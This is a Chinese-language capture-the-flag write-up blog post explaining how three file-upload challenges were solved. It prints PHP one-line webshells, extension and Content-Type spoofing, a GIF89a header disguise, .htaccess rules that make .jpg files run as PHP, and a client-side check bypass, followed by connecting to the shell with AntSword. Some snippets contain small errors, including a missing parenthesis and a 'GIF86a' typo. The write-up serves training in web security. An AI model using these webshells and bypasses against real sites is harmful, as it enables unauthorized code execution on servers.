文件上传
[极客大挑战 2019]Upload
一句话木马
- 打开便是上传文件,那我们直接上传一句话木马:
1 | eval($_POST['cmd']); php @ |
修改content-type
- 尝试抓包修改
Content-Type
php后缀绕过
- 尝试修改后缀绕过
1 | .phtml .php1 .php2 .phar |
又显示file里面不能包含<?
,继续修改文件
绕过<?
- 使用js+php来绕过检查
这里需要注意php的版本要大于5.4
1 | <script language='php'>@eval($_POST['cmd'];</script> |
但是显示不是图像:
添加GIF头来伪装
在文件的头部添加GIF89a
可以伪装为gif图像,但是本质还是php文件
1 | GIF89a; |
图片中少了括号
ok!上传成功
查看文件
一般上传的文件都是在/upload路径下面
蚁剑连接❤️❤️
密码就是POST里面的参数
[GXYCTF2019]BabyUpload
- 步骤和上一道题目一样,开始直接传入简单的一句话木马,然后说后缀不能含有ph,那么和上一道题目一样修改
content-type
为image/png
,shell1的后缀也改为png
,但是显示太露骨 - 此时切换后缀为
jpg
,content-type
为image/jpeg
,此时可以绕过后缀,但是还是和上一道题目一样,也是限制了<?
,于是我们传入和上一题一样的木马,就可以上传成功了,这里一样要注意php版本:
看下方的php版本明显>5.4
下面看传入成功的记录:
看样子是上传成功了,但是你去访问这个路径的时候,得到的是一个jpg的图像,这与我们传入php文件的想法背道而驰,这里说明该服务器不将该jpg文件解析为php文件,那么如何修改呢?如下:
.htaccess
1.什么是
.htaccess
文件?
.htaccess
是 Apache HTTP 服务器的配置文件,用于为特定目录定义规则,覆盖全局配置。常用的功能包括:
- URL 重写
- 文件访问控制
- MIME 类型定义
- 目录索引控制
在特定情况下,上传自定义的
.htaccess
文件可以用来改变服务器的行为,甚至执行恶意代码。2.
.htaccess
常见用途2.1 修改文件解析规则
通过更改 MIME 类型或处理程序,将非
.php
文件解析为 PHP。
强制解析特定后缀为 PHP:
1
2 AddType application/x-httpd-php .jpg
AddType application/x-httpd-php .txt上传后,可以将伪装的图片或文本文件作为 PHP 执行。
访问方式:
1 http://target.com/upload/shell.jpg特定文件匹配:
1
2
3 <FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>仅将
.jpg
文件按 PHP 解析。
2.2 文件包含绕过
如果目标服务器通过黑名单过滤某些文件扩展名(如
.php
),可以利用.htaccess
改变文件解析方式。
示例:
上传
.htaccess
文件,将特定扩展名映射为 PHP:
1 AddHandler application/x-httpd-php .shell然后上传
shell.shell
文件将被解析为 PHP。
2.3 禁用目录索引
通过禁用目录列表功能隐藏文件结构:
1 Options -Indexes
- 如果目标开启目录索引,渗透者可能利用此功能发现敏感文件。通过上传
.htaccess
,可以禁用目录列表。
2.4 URL 重写
利用 URL 重写规则进行路径伪装或访问控制。
伪装路径:
1
2 RewriteEngine On
RewriteRule ^admin$ /login.php [L]绕过访问限制: 如果目标系统基于路径控制访问权限,可以用
.htaccess
修改访问路径,绕过限制。
- 也就是说如果是
Apache
服务器,我们就可以通过添加.htaccess
去将.png或者.jpg文件强制解析为.php
文件,这样也就达到我们的目的了,但是在上面php版本的图片已经显示了该题目的服务器是openresty
,它的核心是Nginx,无法借助.htaccess
来是修改文件解析了- 但是
许多网站部署时会使用 Apache 和 Nginx/OpenResty 组合架构,例如:
- Apache 作为后端应用处理 PHP 或其他动态内容。
- Nginx/OpenResty 作为前端反向代理。
在这种情况下:
- .htaccess 文件实际上被 Apache 解析并生效。
- 你的上传目录直接由 Apache 处理,而非由 OpenResty。
验证方法:
上传一个明显会暴露 Apache 信息的
.htaccess
,例如:
1 ErrorDocument 403 "Apache Detected"如果返回的信息是
1 Apache Detected,说明后端是 Apache。
- ooooooook!! 所以我们可以通过修改
.htaccess
来修改文件解析,如下:
1 | AddType: application/x-httpd-php .jpg |
然后再次上传一次shell.jpg即可,访问看一下:
ok,成功解析为php文件
蚁剑连接❤️❤️
跟第一题是一样的,也是在根目录下面
[ACTF2020 新生赛]Upload
前端文件后缀检查
- 上传文件,发现有限制,且限制是以弹窗的形式给出,我们查看源代码中的<script>标签内容:
1 | function checkFile() { |
- 这里发现有对文件后缀经行检查,但是这只是服务器端前端的检查,我们抓包之后修改后缀即可,抓包之后修改的是后端的内容:
- 访问检查一下:
蚁剑连接❤️❤️
一样的步骤,flag也是在根目录下面
总结:
- 修改文件后缀绕过检查
- 修改
Content-Type
,常见修改为:
1 | image/png |
- 绕过对
<?
的检查,php版本大于5.4,同时添加GIF
头绕过检查
1 | GIF86a; |
- 修改
.htaccess
配置绕过不解析php文件,注意是在Apache
服务器中,遇到的openresty
服务器可用下列语句检查是否含有Apache
1 | ErrorDocument 403 "Apache Detected" |
访问之后如果显示Apache Detected
就说明包含有Apache
,可以修改.htaccess
1 | AddType: application/x-httpd-php .jpg |
- 标题: 文件上传
- 作者: D0wnBe@t
- 创建于 : 2024-12-06 17:06:43
- 更新于 : 2024-12-06 20:42:33
- 链接: http://downbeat.top/2024/12/06/文件上传/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。